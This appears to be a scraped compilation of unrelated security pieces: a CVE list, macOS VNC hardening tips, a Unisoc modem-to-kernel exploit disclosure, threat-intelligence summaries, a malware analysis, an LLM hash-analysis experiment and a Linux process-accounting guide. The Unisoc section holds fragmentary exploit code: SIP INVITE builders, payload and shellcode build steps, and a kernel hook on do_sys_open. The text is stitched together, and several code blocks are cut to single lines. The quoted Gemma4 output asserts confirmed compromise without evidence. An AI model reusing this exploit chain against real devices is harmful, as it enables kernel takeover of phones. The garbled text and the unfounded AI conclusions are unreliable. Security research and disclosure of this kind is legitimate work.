CVE-2026-64769: A remote attacker may be able to cause unexpected application termination or heap corruption. Affects Model I/O
	x
CVE-2026-64771: A remote attacker may be able to cause unexpected application termination or heap corruption. Affects Model I/O
	x
CVE-2026-64772: A remote attacker may be able to cause unexpected application termination or heap corruption. Affects Model I/O
	x
CVE-2026-64774: A remote attacker may be able to cause unexpected application termination or heap corruption. Affects Model I/O
	x
CVE-2026-64778: Visiting a maliciously crafted website may leak sensitive data. Affects WebKit History
x	x	x
CVE-2026-64779: Processing maliciously crafted web content may lead to an unexpected Safari crash. Affects WebKit Storage
x	x	x
CVE-2026-64780: Processing maliciously crafted web content may lead to an unexpected Safari crash. Affects WebKit
x	x	x
CVE-2026-64781: Processing maliciously crafted web content may lead to an unexpected Safari crash. Affects WebKit
x	x	x
CVE-2026-64782: Processing maliciously crafted web content may lead to an unexpected Safari crash. Affects WebKit
x	x	x
CVE-2026-64784: Processing maliciously crafted web content may lead to an unexpected Safari crash. Affects WebKit
x		x
CVE-2026-64787: Processing maliciously crafted web content may lead to an unexpected process termination. Affects WebKit
x		x
CVE-2026-64788: Processing maliciously crafted web content may lead to memory corruption. Affects IOGPUFamily
x		x
CVE-2026-65329: An attacker in a privileged network position may be able to bypass IPSec authentication and intercept network traffic. Affects Telephony
x
CVE-2026-65330: An app may be able to cause unexpected system termination or corrupt kernel memory. Affects Kernel
x		x
CVE-2026-65331: Processing maliciously crafted web content may lead to an unexpected Safari crash. Affects WebKit
x		x
CVE-2026-65334: Processing maliciously crafted web content may lead to an unexpected Safari crash. Affects WebKit
x		x
CVE-2026-65338: Processing maliciously crafted web content may lead to an unexpected Safari crash. Affects WebKit
x		x
CVE-2026-65339: An app may be able to leak sensitive user information. Affects Audio
x		x
CVE-2026-65340: Processing maliciously crafted web content may lead to an unexpected Safari crash. Affects WebKit
	x
CVE-2026-65341: Processing maliciously crafted web content may lead to memory corruption. Affects WebKit
x	x	x
CVE-2026-65343: A remote attacker may be able to cause unexpected system termination. Affects Kernel
x		x
CVE-2026-65346: Processing an image may lead to arbitrary code execution. Affects ImageIO
x		x
CVE-2026-65347: Processing an image may lead to a denial-of-service. Affects ImageIO
x		x
CVE-2026-65349: An app may be able to cause unexpected system termination or read kernel memory. Affects Kernel
x		x

About 20 years ago, with macOS 10.5 (Leopard), Apple introduced screen sharing. Apple did not invent a new protocol for screen sharing. Instead, it used the established VNC protocol. VNC is a pretty simple, unencrypted protocol using TCP port 5900. Historically, the protocol used a simple global password for authentication. Apple adapted the protocol for its own use, but overall, left the VNC protocol itself alone.

A couple of weeks ago, two severe vulnerabilities exposed issues Apple introduced when it bolted on its own modifications to VNC. Currently, these vulnerabilities are being exploited, and a system with screen sharing exposed should be considered compromised. But here are some tips to improve screen sharing security.

One weakness exposed by these recent vulnerabilities is Apple's support for both "regular" VNC authentication and authentication via Apple's own macOS authentication system.

Apple does allow old-fashioned VNC authentication by defining a VNC password. If this authentication scheme is used, a VNC client is prompted only for a password, not a username. The client may then ask for permission to use the screen, or they will be presented with an OS login prompt. This can be useful if you are trying to provide remote support to a logged-in user. But it does provide access to the system without any strong authentication. Access should still be secured by local user credentials, but the process already runs with elevated privileges to allow access for any user who logs in. This contributed to a recent vulnerability.

Next, you can restrict which users can remotely access the system. This should be restricted to allow only users who need remote access to connect.

Access to screen sharing can also be controlled via macOS's built-in firewall. But the settings are not always clear. Just enabling the firewall is not sufficient.

If "Automatically allow built-in software" is enabled, the firewall will allow access to screen sharing. The same is true for "Automatically allow downloaded signed software". Even if "stealth mode" is enabled, screen sharing is still available. You may also select "Block all incoming connections", which will block everything, even applications you approved in the past.

Here are a few command-line tips to secure the system (this is for macOS 26; prior versions use slightly different syntax)

A script like this is handy if you need to switch from your internal network to a public one. VNC access should always happen via a VPN. SSH forwarding works well with VNC. Other solutions, like Tailscale, are easy to use if you need VNC for remote support.

Summary

UNISOC (Shanghai) Technologies Co., Ltd. is a top-three global fabless semiconductor company headquartered in Shanghai, specializing in 2G/3G/4G/5G mobile communication, IoT, and smart device chipsets. Formerly Spreadtrum, it serves major brands like Honor, realme, vivo, Samsung, and Motorola, with products in over 140 countries.

A critical vulnerability has been identified in the Unisoc modem firmware that allows arbitrary code execution with kernel privileges from the modem context.

By disabling protections on the first memory region (ID 0) of the

Memory 
Protection Unit

(MPU), an attacker can gain unrestricted read and write access to physical memory. This can ultimately lead to local privilege escalation, including the ability to modify kernel code.

Vendor Response

We have tried to reach out to the vendor through multiple channels (email and LinkedIn) but have not been able to receive any response.

Credit

An independent security researcher, 0x50594d, working with SSD Secure Disclosure.

Affected Versions

Technical Analysis

An exploitable Improper Isolation of Shared Resources on System-on-a-Chip (SoC) (CWE-1189) was identified in the mobile phones that have the Unisoc chipset. The root cause lies in the fact that no isolation between modem memory and kernel memory is present from the modem context.

Exploit

An attacker who gains the ability to execute code on the modem can read from and write to the entire memory space by disabling protections on the first Memory Protection Unit (MPU) region (region ID 0).

The ARM code below configures MPU region 0 with read, write, and execute permissions. This region is defined with a base address of 0x00000000 and spans 0x100000000 bytes, effectively covering the entire 32-bit address space.

At this point, it becomes possible to read from and write to the device’s physical memory.
The kernel is located at physical address 0x80080000.

Full chain PoC with the previous RCE

Test Environment Setup

For testing purposes, the Docker-based Open5GS deployment with Kamailio was used. The Dockerized VoLTE Setup tutorial was used as a reference.

Victime phone

Attacker phone

An attacker could use any smartphone to contact the victim, requiring only the ability to place a video call.

Sim cards

Antenna

Attacker machine

An additional machine, used solely for running the exploit code, was added to the Docker Compose environment at the address 172.22.0.100. It registers with the IMS in the same manner as a standard User equipment. The machine was included as follows.

&& echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGa5TjMbqFs1mQLm5rUqPctCpOYAdnN/GDAkPks0Zlk9 gateau' >> /home/pwntools/.ssh/authorized_keys

Start Ylog (Optional for exploitation but usefull for debugging)

To obtain the crash dump from the phone and force the modem to delay before restarting, the slog must be activated. This requires starting engineering mode, which can be done via ADB.

Attack

Exploit that will send the payload

The exploit.py script, simulates the attacker device by authenticating to the core network and sending INVITE messages containing the

egg 
hunter

payload in the message body and then the last INVITE message that contain the

modem 
payload

To run the script, authenticate on the exploit machine and launch the tool. The script includes an argparse interface, allowing you to provide custom parameters as needed.

Immediately afterward, initiate a video call from the attacker device to the victim device. Once the victim answers the call, the modem start the

egg 
hunter

result += "\n".join([f"{header['name']}: {header['value']}" for header in self.headers])

parser.add_argument("--ki_attacker", default="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF")

parser.add_argument("--opc_attacker", default="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF")

Allow: INVITE, CANCEL, BYE, ACK, REFER, NOTIFY, MESSAGE, INFO, PRACK, UPDATE, OPTIONS

Authorization: Digest username="{imsi_attacker}@{domain}", realm="{domain}", nonce="", uri="sip:{domain}", response=""

Allow: INVITE, CANCEL, BYE, ACK, REFER, NOTIFY, MESSAGE, INFO, PRACK, UPDATE, OPTIONS

register_request_auth.replace(b"AUTHORIZATION", digest.authorisation_header.encode())

invite = f"""INVITE sip:{victim_phone_number};phone-context={domain}@{domain};user=phone SIP/2.0

# payload = b"a" * 0x280 + b"\xff\xfe\xaa\xef" + cyclic_gen().get(1000) + b"".join([bytes.fromhex(f"{x:02x}") for x in range(0x100)])

invite = f"""INVITE sip:{victim_phone_number};phone-context={domain}@{domain};user=phone SIP/2.0

The Egg hunter

When the exploit sends the final INVITE to the phone, it includes the

modem 
payload

in the message body. The SIP message – and therefore the

modem 
payload

– is fragmented into chunks of 0x4b0 bytes. Each chunk is separated by 0x1bc-byte gaps scattered throughout the modem heap.

The role of the

egg 
hunter

is to locate these

modem 
payload

fragments written into modem heap memory and reassemble them contiguously at address 0x8de00000.

Modem payload that will write on the kernel

Once the

egg 
hunter

has reassembled the

modem 
payload

fragments, it executes the

modem 
payload

, which writes the

kernel 
shellcode

and installs a trampoline on do_sys_open.

A Python helper script insert_template.py has been writen to inject the

kernel 
shellcode

and the trampoline in the

modem 
payload

template_content = template_content.replace("<SIZE>", str(len(shellcode_content)))

template_content = template_content.replace("<TRAMPOLINE_LSB>", hex(unpack(">H", trampoline_content[2:4])[0]))

template_content = template_content.replace("<TRAMPOLINE_MSB>", hex(unpack(">H", trampoline_content[0:2])[0]))

The shellcode template write_and_execute_code_template.s that will be used to generate the

modem 
payload

is the following.

arm-none-eabi-as -mcpu=cortex-r7 -c write_and_execute_code.s -o write_and_execute_code.o

arm-none-eabi-objcopy --only-section=.text -O binary write_and_execute_code.o write_and_execute_code.bin

Payload to be executed in the kernel (kernel shellcode)

The first section, .shellcode, is placed over the __arm64_compat_sys_vmsplice function. It contains the payload that will be executed in kernel space. For demonstration purposes, the payload simply invokes

printk("Exploit 
worked!");

The second section, .trampoline, is written at the beginning of the do_sys_open function. This section contains the branch instruction

B 
loader

required to redirect execution flow to the .shellcode section, thereby transferring control to the payload.

static void payload() __attribute__((naked)) __attribute__((section(".shellcode")));

static void trampoline() __attribute__((naked)) __attribute__((section(".trampoline")));

The linker script linker_script.ld used to map .shellcode and .trampoline region.

SHELLCODE (rwx) : ORIGIN = 0xffffffc0104f6b58, LENGTH = 16K # __arm64_compat_sys_vmsplice

aarch64-none-elf-ld shellcode_kernel.o -o shellcode_kernel.elf -T linker_script.ld

aarch64-none-elf-objcopy --only-section=.shellcode -O binary shellcode_kernel.elf shellcode_kernel.bin

aarch64-none-elf-objcopy --only-section=.trampoline -O binary shellcode_kernel.elf trampoline.bin

Execution in kernel

At the end the payload will execute the printk call with the string

"Exploit 
worked !"

A new campaign documented by Malwarebytes details the distribution of a malicious Google Chrome extension dubbed GhostDesk, delivered through counterfeit software installers. Threat actors are luring Windows users to spoofed download portals for popular utilities, including CCleaner, 7-Zip, and Adobe Acrobat. Once the trojanized executable is launched, it uses a legitimate scripting engine to hijack system components and forcibly patch Chrome's security extension settings. This allows the GhostDesk payload to silently load in the background, granting the attackers sweeping spyware capabilities. The malware can harvest credentials from web forms, log keystrokes, steal session cookies, capture screenshots, and manipulate clipboard data to hijack cryptocurrency transactions.

Attack chain decomposition: Fake software download site → Trojanized executable → Scripting engine execution → DLL hijacking → Chrome extension manifest patched → JavaScript payloads dropped → C2 connection → GhostDesk Chrome extension executes → Keylogging, credential theft, and cryptojacking

Researchers at Group-IB recently reported a new malware family combination involving a custom near-field communication (NFC) relay tool dubbed WindRelay deployed alongside the known SpyNote remote access trojan (RAT). This campaign primarily targets banking customers in Czechia, Slovakia, and Slovenia. The attack begins with a social engineering phone call where operators posing as bank employees convince victims to sideload a customized SpyNote payload. Leveraging the RAT's remote access capabilities, the attackers silently install WindRelay in the background while keeping the victim on the line. The threat actors then execute a dual cash-out strategy by remotely applying for a loan through the victim's banking app and instructing the victim to tap their payment card against the compromised device. WindRelay captures the dynamic NFC data exchange and forwards it to an attacker-controlled device, enabling immediate fraudulent point-of-sale transactions or ATM withdrawals.

Attack chain decomposition: Voice phishing call (impersonating bank) → Sideloaded APK payload (SpyNote RAT) → Remote access via Accessibility Services → Silent secondary APK install (WindRelay) → Remote banking app manipulation (digital loan) → Victim taps physical card to infected device → Real-time NFC data relay to attacker device → Fraudulent physical terminal cash-out

Sandworm-Linked Group Uses Fake Job Interviews to Deploy Trojanized WireGuard Client

According to CERT-UA, the Russian state-sponsored threat group Sandworm (tracked in this campaign as UAC-0145) is actively targeting system administrators and IT staff through fake job recruitment offers. Posing as hiring representatives from legitimate IT firms, the operators engage candidates via email and Telegram before conducting online technical interviews. During these assessments, candidates are instructed to download a corporate VPN setup that triggers a deliberate connection error, prompting them to retrieve a modified WireGuard installer hosted on SourceForge. The trojanized application, dubbed SopraVPN, incorporates custom key handling and obfuscated decoding logic to execute malicious commands on both Windows and Linux systems. On Windows, the client leverages a nonstandard configuration file parameter to execute PowerShell code that configures persistence and fetches secondary payloads, while Linux installations pull additional ELF binaries via cURL over the VPN tunnel.

A months-long investigation by the Symantec Threat Hunter Team has produced unprecedented visibility into the activities of Jewelbug (aka Earth Alux, REF7707, CL-STA-0049), a China-based APT group that has been breaking into government ministries across Asia and the Middle East while quietly running a cryptocurrency fraud business on the side. The two are not separate ventures that happen to share a name: our investigation revealed they are run by the same small team, on shared infrastructure, from one control panel.

Jewelbug’s commercial arm is tied to a known registered company in Hunan Province, China. The group has developed five generations of command-and-control (C&C) code and a family of implants spanning browsers, Windows endpoints, Linux servers and network devices, all of it feeding a single database of victims. That toolset serves two missions: espionage attacks against foreign governments and militaries, and for-profit crypto fraud aimed at Chinese-speaking victims.

A new variant documented by Darktrace highlights how the Go-based Chaos botnet has shifted its targeting from edge routers to Linux cloud environments. Following an initial infection that quickly deletes its own footprint from the disk, the malware establishes long-term persistence using systemd services alongside a keep-alive script. While the payload retains its core distributed denial-of-service functions, this iteration notably abandons its previous SSH brute-forcing mechanisms in favor of a SOCKS5 proxy module. This embedded proxy capability is highly effective for adversaries, allowing them to route malicious traffic through the victimized cloud server to mask their true location, evade rate-limiting, and seamlessly pivot into otherwise restricted internal networks.

A joint cybersecurity advisory released by international law enforcement and intelligence agencies including CISA, the FBI, NSA, USSS, DC3, and South Korea’s KNPA warns organizations of Gunra, an escalating ransomware-as-a-service (RaaS) threat. Initially discovered in April 2025 and built upon leaked Conti ransomware source code, the encryptor targeted Windows environments before incorporating Linux capabilities to enable multi-platform attacks. By early 2026, the operators established a dark-web-promoted affiliate program targeting government entities and critical infrastructure. Gunra employs a double-extortion scheme, exfiltrating sensitive organizational files prior to encrypting system drives.

Researchers at Unit 42 of Palo Alto Networks detailed the operation of Aeternum, a C++ botnet loader that uses public Polygon blockchain smart contracts to manage decentralized command-and-control (C2) operations. The threat actors leverage JSON-RPC requests to public Polygon endpoints to bypass conventional IP and domain blocking, staging secondary payloads including XWorm RAT, XMRig cryptocurrency miners, data stealers, and Telegram-controlled Python backdoors. The loader also implements anti-analysis routines, including virtual machine verification and security control evasion, to ensure resilience against disruption.

In May 2026, we discovered a new cyber-espionage campaign by the Armored Likho group, also known as Eagle Werewolf, that targets private individuals and organizations across various industries in Russia, including major corporations, the public sector, IT, and education. The attackers used a fake app as bait that mimics a service for donations. However, the most interesting part of this campaign isn’t the initial infection method – it’s the malicious implants the attackers use for cyber-espionage.

We’ve written previously about recent Armored Likho attacks, but our analysis shows that the campaign discussed below has more in common with the group’s activity from February. That said, the attackers have significantly expanded their arsenal.

During our research, we found a new cyber-espionage toolkit written in Rust: the Still Toolkit. One of its components, Still Sync, steals Telegram session data to gain ongoing access to the victim’s account. With this stolen data, attackers can leverage the Telegram API to automatically pull chat logs, media files, and other information from the account.

The second component, Still Audio, is an implant for covert audio surveillance. It analyzes the incoming audio stream, automatically detects speech, records conversations, and sends the recordings to a command-and-control server.

In this article, we’ll look at the initial infection method, how the new Still Toolkit components are built, and the technical details of how they operate.

Kaspersky products detect this threat as Trojan.Win64.Agent.* and HEUR:Backdoor.Win32.Generic.

Background

Armored Likho’s malicious activity has been documented several times before: in November 2024, and in February and July 2026. The current campaign shows significant overlap with the November and February campaigns, which used malicious droppers disguised as documents and applications related to Starlink activation or fundraising efforts as the initial infection vector. This campaign also uses fundraising as its lure. At the same time, our research uncovered a number of new tools that point to the attackers expanding their capabilities.

Initial infection

The infection chain starts with an app that mimics a donation service. As of this writing, the app distribution method remains unknown. During our research, however, we obtained several samples posing as apps from different Russian foundations.

In reality, the app is a dropper. Its developers wrote it in Rust on top of the popular Tauri framework, and it has a graphical interface designed to deceive the user. After launch, it displays a login form that asks for a password, presumably one the attackers supplied.

After the user enters a valid password, they see a catalog of donatable items. The app pulls item and category information from orderapiserver[.]info through the public/categories and

public/products 
endpoints

. A clickable catalog makes the app look legitimate. While the user browses the items, the dropper quietly decrypts and launches the payload for the next stage in the background.

Our analysis shows that the mechanism for decrypting the payload and launching subsequent stages hasn’t changed since the February campaign. However, we found a new cyber-espionage toolkit – the Still Toolkit – made up of two components: Still Sync and Still Audio.

Still Sync

Still Sync is a stealer written in Rust that steals Telegram session data. However, its capabilities don’t stop there. With this stolen data, Sync can log in to the victim’s account and pull messages and media files through the Telegram API.

Architecturally, Sync is an asynchronous application based on the Tokio library. It talks to the server over gRPC and serializes messages with FlatBuffers. It supports both HTTP and HTTPS as transport protocols; the URL of the command-and-control server determines which one it uses.

How it works

When Sync launches, the attackers set several environment variables. Before starting any malicious activity, the implant pulls configuration parameters from these:

Once it launches, the malware begins registering the device with the C2 server. To do this, Sync collects the following information about the victim’s system:

The malware combines the collected data into a single string with a colon as the separator. It then hashes that string with SHA-256 and stores the resulting hash under the key sysmarker. Worth noting: other Armored Likho tools, AquilaRAT included, use this same hashing algorithm.

Sync then serializes a package containing all the collected information and the agent version, and sends it in a POST request to /still.rpc.Sync/RegisterMachine. The response contains a machine_id value, which Sync uses to identify itself in subsequent requests.

Once registration succeeds, Sync sends a POST request with the machine_id parameter to /still.rpc.Sync/GetMachineSettings. The server responds with the following settings:

These parameters have no default values, so Sync doesn’t perform any malicious actions until the registration and settings-retrieval processes both complete successfully.

Telegram data collection

Before stealing a Telegram session, Sync searches for the tdata folder, unless the STILL_SEND_PATH variable is already set. The list of search paths includes both standard and nonstandard directories, if the scan_portable option is turned on:

Sync then sends a POST request with a list of files from the tdata folder to the /still.rpc.Sync/CheckFiles endpoint. The server responds with the following values:

This lets the C2 server avoid re-receiving files it already has. In addition, if Sync can’t access files on disk through standard methods, it falls back on three mechanisms that abuse the SeBackupPrivilege privilege:

Beyond stealing Telegram session data, Sync can carry out full-scale collection of user information from the messaging app. When the fetch_telegram option is on, it launches a separate thread that authenticates to the chat app using the previously obtained tdata. Once authentication succeeds, Sync gains access to the account data and sends the following collected information to the server:

Still Audio

Still Audio is an audio surveillance implant written in Rust. Its main job is to analyze the incoming audio stream and start recording voice when certain conditions are met – we’ll cover those in the next section. Architecturally, Still Audio largely mirrors Sync and uses the same mechanisms for communicating with the C2 server.

Next, Still Audio retrieves the C2 server address. As with Sync, it stores the URL in an environment variable – in this case, STILL_AUDIO_SYNC_ADDR. If that variable isn’t set, it falls back to STILL_SYNC_ADDR, which shows the two modules are compatible with each other. If neither variable is set, it uses the default URL, https://srwinservice[.]com.

Still Audio also uses the Dead Drop Resolver technique as a fallback mechanism for obtaining the C2 address. If the current server stays unreachable for three days, the tool tries to pull the current C2 URL from a GitHub repository. In the sample under analysis, we found the following URL for the page containing C2 information: hxxps://raw.githubusercontent[.]com/mmarln/pi-mono/refs/heads/main/packages/pods/src/array12.json

The repository, a fork of a popular project, contains the server URL Base64-encoded and encrypted with the Blowfish algorithm in ECB mode, using the key 5c8e153228edd3c6cbf75684 (lowercase string). Older AquilaRAT samples use this exact same algorithm and key.

Once it obtains the current C2 address, the Audio module starts a registration process similar to Sync’s, but through a different endpoint:

/still.rpc.Audio/RegisterAudioMachine. Also, unlike Sync, Audio sends a list of available audio input devices along with the system information.

The eavesdropping process

Still Audio works with raw audio samples it captures directly from the input device. To detect voice activity, it implements an algorithm based on Root Mean Square (RMS), a lightweight signal-processing method that distinguishes speech from silence by measuring the audio signal’s average power over time. The implant doesn’t rely on any third-party libraries here; it implements all the calculations itself.

The implant compares the calculated RMS value against the vad_threshold parameter. If RMS meets or exceeds this threshold, recording starts. To avoid losing the beginning of the recording, Still Audio uses a pre-buffer, a size-limited buffer that stores samples from just before the current recording moment. A sequence of max_silence_duration samples (320 by default) with RMS values below the threshold signals the end of the recording. For example, with a standard headset running at a 44.1kHz sampling rate, recording stops after roughly 7ms of silence.

Interestingly, the Audio module makes no attempt to hide its use of the microphone: its name shows up in Windows settings. In the sample we examined, the file was saved to disk as IntAudio.exe, and it appeared in the list of apps using the microphone as “Intel Audio”:

Before sending recordings to the server, the implant uses the libmp3lame library to encode the raw audio samples. It sends the recording files via a POST request to /tgfrg, adding a Client-Id header containing the machine_id obtained during registration to identify the device.

Infrastructure

This campaign draws on a broad set of hosting providers and domains registered at different points in time, which suggests the attackers are trying to make their infrastructure harder to detect. We found no direct overlap in domains or IP addresses with the February campaign. Even so, the two infrastructures share some similarities:

Victims

In this campaign, we’ve determined that the attackers’ primary targets are users in Russia. Most victims are private individuals, though the corporate sector, government organizations, IT companies, and educational institutions are also affected.

Attribution

This campaign has been using both new tools and malware families documented in BI.ZONE’s February report. While some components turned up for the first time, they show significant code-level overlap with malicious tools seen in earlier Armored Likho campaigns. Based on these overlaps, along with additional technical artifacts, we’re highly confident the Armored Likho group is behind the campaign. The overlaps we identified include:

Takeaways

The campaign described in this post shows Armored Likho’s toolkit evolving, with the group steadily expanding its cyber-espionage capabilities. Beyond the components we already knew about, the attackers rolled out new modules that let them not only access Telegram data but also conduct audio surveillance on victims. Together, these capabilities significantly widen the range of information attackers can collect in a single compromise.

One point deserves particular attention: the new tools form a cohesive set, sharing similar architecture, C2 communication mechanisms, and common implementation elements. This points to the group building out its own tool ecosystem, designed for long-term use and further expansion.

The emergence of new, specialized modules shows the attackers aren’t just trying to preserve their existing capabilities – they’re working to make intelligence-gathering more effective by controlling multiple communication channels at once.

Indicators of compromise

Zip files are password-protected. Of note, this site has a new password scheme. For the password, see the "about" page of this website.
ASSOCIATED FILE:

2026-08-12-SmartApeSG-ClickFix-notes.txt.zip 1.2 kB (1,187 bytes)
2026-08-12-SmartApeSG-HTTPS-traffic.zip 340.2 kB (340,243 bytes)
2026-08-12-SmartApeSG-and-traffic-from-two-different-RATs.pcap.zip 34.8 MB (34,811,888 bytes)
2026-08-12-files-from-the-infection.zip 34.6 MB (34,646,921 bytes)

Using Gemma4 with Ollama - Testing File Hash Analysis and Recommendations with AI

In the past few weeks, I have been using Gemma4 as a Large Language Model (LLM) to see how useful it can be to analyze some of the malware hashes uploaded to the DShield sensor over the past 30 days and figure out how its recommendation can be considered useful about the activity my DShield sensor is collecting and tracking. The model I use for this testing is gemma4:e4b [2] using two sites to compare the data against VirusTotal and CyberGordon.

1. Determine if we should be concerned with the volumes or suspicious volumes match indicators of compromise (IoC) or tactics mentioned on the two external websites.
2. Provide a concise comparative analysis and recommendations for action to prevent actors/bots to successfully compromise the sensor.
3. Identify what type of malware family (Popular threat label) the top 3 files are associated with.
4. Highlight potential issues with the top 3 inbound hashes (files) downloaded by actors/bots logged in the sensor and which sites have the most information about this activity.

Comparative analysis from Gemma 4 :
As a cybersecurity analyst, I have analyzed the provided data stream concerning files downloaded by actors/bots to the Cowrie sensors.

1. Volume vs. IoCs vs. Tactics
The sheer volume of these hashes (126, 110 events) is a major concern. High volumes do not automatically confirm malicious intent, but when coupled with the fact that they are *downloaded* from an interactive sensor like Cowrie, it indicates successful actor persistence and data exfiltration attempts.

Indicator of Compromise (IoC): The hashes themselves act as IoCs if they resolve to known malware families or C2 infrastructure components. Since the external sites provided no results, the focus must be on the *behavior*—the repeated transfer of these files.
Tactics (MITRE ATT&CK): This activity strongly suggests **Persistence**, **Command and Control (C2)** communication, and potentially **Lateral Movement/Exfiltration**. The actors are not merely querying the system; they are downloading specific files repeatedly.

| Aspect | VirusTotal (VT) | CyberGordon (CG) | Conclusion / Action Recommendation |
| :--- | :--- | :--- | :--- |
| Data Depth | High-fidelity, integrated threat intelligence from multiple sources (AV engines). Best for direct identification. | Academic/Historical analysis engine. Useful for deep source tracking and niche observations. | VT is superior for immediate threat context; CG offers supporting research. |
| Reliability | Generally reliable, though sometimes slow or requires paid access for full fidelity. | Utility appears high but the provided output is generic (focusing on JS compatibility rather than results). | **Rely primarily on VT/Commercial Threat Feeds.** Do not treat lack of a result as "safe." |
| Missing Data | The provided snippet was boilerplate ("Please enable JavaScript"), meaning we missed vital IoC intelligence. | The provided snippet was generic browser/engine advice, offering no actionable threat intel. | **Critical Action:** Develop a structured workflow to *ensure* the results page is fully processed and captured for all 10 hashes. |

1. Immediate Containment: Treat any machine connected through this sensor as compromised. Isolate the host and initiate forensic imaging immediately.
2. Mitigation at Sensor Level: Update Cowrie's logging and alerting capabilities to track file *execution* attempts, not just downloads. Implement stricter egress filtering on the network hosting the sensors.
3. Threat Hunting (Proactive): Utilize the Top 10 hashes to query internal Endpoint Detection and Response (EDR) solutions across the entire enterprise, searching for the hash signatures or file names appearing on any system *outside* of the sensor environment.
4. Hardening: Review user access policies and network segmentation rules. The repeated downloading suggests a persistent gap in perimeter controls.

Since no specific threat intelligence results were provided for these hashes, this analysis is based on the pattern of high-volume command-and-control behavior.

1. 197c74408e15bd1168105f564f96aace4fd4819961b724630bf5a6be4878daf8: **Botnet/Loader Malware.** The extremely high event count and consistent downloading pattern are classic indicators of a payload being repeatedly delivered, likely by an established botnet or initial access Trojan (RAT).
2. 31d4181843b1ed10a7e7cb3f108f6d6c50a7a4452ee52ddacabe8ca77260615e: **Backdoor/Keylogger.** Similar to the top hash, but potentially representing a specific piece of payload used for data exfiltration (like credentials or session tokens).
3. 94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00: **Credential Stealer/Dropper.** This hash may represent a modular component or a staged payload, designed to "drop" the final malware onto the compromised system after initial access.

The primary issue is not necessarily what the hashes *are*, but that they are actively being *downloaded* repeatedly by a controlled actor over a sustained period (Top 10). This behavior confirms **successful compromise and established persistence**. The actors have successfully identified data pathways to download their chosen payloads, bypassing existing security controls.

VirusTotal (VT): Is the preferred source. Despite the provided boilerplate text, VT's strength lies in its aggregation of multiple vendor signatures (AV engines). It provides the highest likelihood of a quick determination whether the hash is *known malicious*.
CyberGordon (CG): Is useful as a secondary research source or for understanding the historical context of the observed payload type. Its data output, based on observation and academic logging, might reveal more about *how* the file was used in previous compromises, which is valuable for threat hunting.

The most reliable actionable intelligence will be obtained by re-querying both sites multiple times to ensure 100% capture of the IoC data. However, **VT provides the immediate signature risk assessment.**

My own conclusion: I think the information provided by Gemma is a nice summary as long as the right tools (sites) are provided that can be used to gather additional information to use to better answer the questions initially asked in the instructions.

A couple of days ago, Xavier posted about Atuin to gain more insight into the command history. Atuin does a great job of better organizing what is usually handled by "bash_history" and collecting meaningful additional data. Our reader David commented that this can also be done quite well with Linux's kernel process accounting feature, and I think he is very right. I really like Linux process accounting for a number of reasons, so here is a quick introduction.

Process accounting is a kernel feature. You will not see a specific process responsible for it. Instead, the "accton" command signals the kernel to start logging process data to a specific location (usually /var/log/account/pacct). Once a process terminates, the kernel will log respective details to the binary log file.

1 - Installation
I don't think process accounting is enabled by default on any Linux system. It does add a little additional overhead, but some users may shy away from it because it requires additional disk writes to collect the information. Memory and other CPUs should not be significantly impacted by process accounting. On my not very busy Proxmox system, it uses about 50 MB/day of disk space. So nothing that should be noticeable for most systems.

Installation usually comes down to installing the respective package for your distribution. On Debian based distributions, it is just

apt install acct
This will typically also configure the startup scripts, but it can't hurt to run

systemctl enable --now acct
That is it. Wait a little bit, and you will see the log.

2 - How to read the logs
Logs are saved in a binary format. The "lastcomm" command can be used to display the log in a readable format. For example:

ip6tables-save S root __ 0.00 secs Wed Aug 12 06:25
iptables-restor S root __ 0.00 secs Wed Aug 12 06:25
iptables-save S root __ 0.00 secs Wed Aug 12 06:25
check_ssh 100107 __ 0.00 secs Wed Aug 12 06:25
cron F 100000 __ 0.00 secs Wed Aug 12 06:25
sh S 100000 __ 0.00 secs Wed Aug 12 06:25
debian-sa1 100000 __ 0.00 secs Wed Aug 12 06:25

These are a few lines from my Proxmox server. It logs the process name, Flags (S=super user, F=forked process, D=generated core dump, X=terminated by signal), User name (or ID), CPU execution time, and finally the timestamp at which the process was started. The output may be modified slightly depending on the command-line arguments used.

3 - Remote Logging
Unlike most Linux logs, these logs are not created by syslog. However, you may still read them with syslog to forward them to a central log collector/SIEM. Syslog-ng for example include a "s_pacct" processor for process accounting logs. You enable it with this configuration:

4 - Other useful tools
The "sa" command can be used to easily extract summaries from accounting data. For example, a breakdown by CPU time used by different processes

# sa -c | head -10
329063 100.00% 259245.37re 100.00% 70.29cp 100.00% 0avio 24320k
469 0.14% 55.38re 0.02% 52.65cp 74.90% 0avio 124752k ffmpeg
488 0.15% 5.43re 0.00% 4.57cp 6.51% 0avio 5338k apt-get
2820 0.86% 3.60re 0.00% 3.34cp 4.74% 0avio 13295k ceph
1231 0.37% 1.96re 0.00% 1.92cp 2.73% 0avio 1974k ps
312 0.09% 1907.83re 0.74% 1.36cp 1.93% 0avio 88176k named
7 0.00% 39483.07re 15.23% 0.76cp 1.08% 0avio 6348k systemd-journal
123 0.04% 34804.71re 13.43% 0.34cp 0.48% 0avio 20367k ***other*
8 0.00% 0.68re 0.00% 0.27cp 0.38% 0avio 3926k store
366 0.11% 0.58re 0.00% 0.26cp 0.36% 0avio 2235k dpkg-deb*

5 - Containers
Process accounting is a kernel feature, and the kernel must be compiled and configured to support process accounting. If you are running Linux containers in Proxmox (the platform I am using), process accounting will not work unless the container is privileged. But it does not have to work. The container processes are logged by the host, which I think is actually better. This way, the logs are more easily centralized, and they can't be tampered with from inside the container.

6 - Conclusion
I think Linux kernel process accounting is a very neat and often overlooked feature. You may be able to do more fine-grained inspection with eBPF, but process accounting is "ready to go and useful" with little work. It does not log command line options, which may be an issue in incident response. But it is a very good supplement to other features like bash_history files, and it captures processes that bash_history would never see.

DeadLock Ransomware Combines Resource-Aware Encryption with Resilient Extortion Protocols

In a recent write-up, Microsoft Threat Intelligence details DeadLock, a Rust-based ransomware strain deployed by affiliates associated with established extortion syndicates. Active since mid-2025, the double-extortion operation has impacted more than 80 organizations across technology, manufacturing, transportation, and other critical sectors globally, with over half located in Europe. The malware decrypts an embedded configuration upon launch, evaluates system language settings to exit in excluded regions, and attempts privilege escalation using generated command scripts. To ensure maximum disruption and hinder recovery, DeadLock disables security services, terminates backup tools, suppresses event logging, and registers a custom file extension before encrypting localized drive contents. Crucially, the threat relies on decentralized communication channels—such as the Session messaging protocol and blockchain-supported assets—to maintain resilient victim negotiation portals.

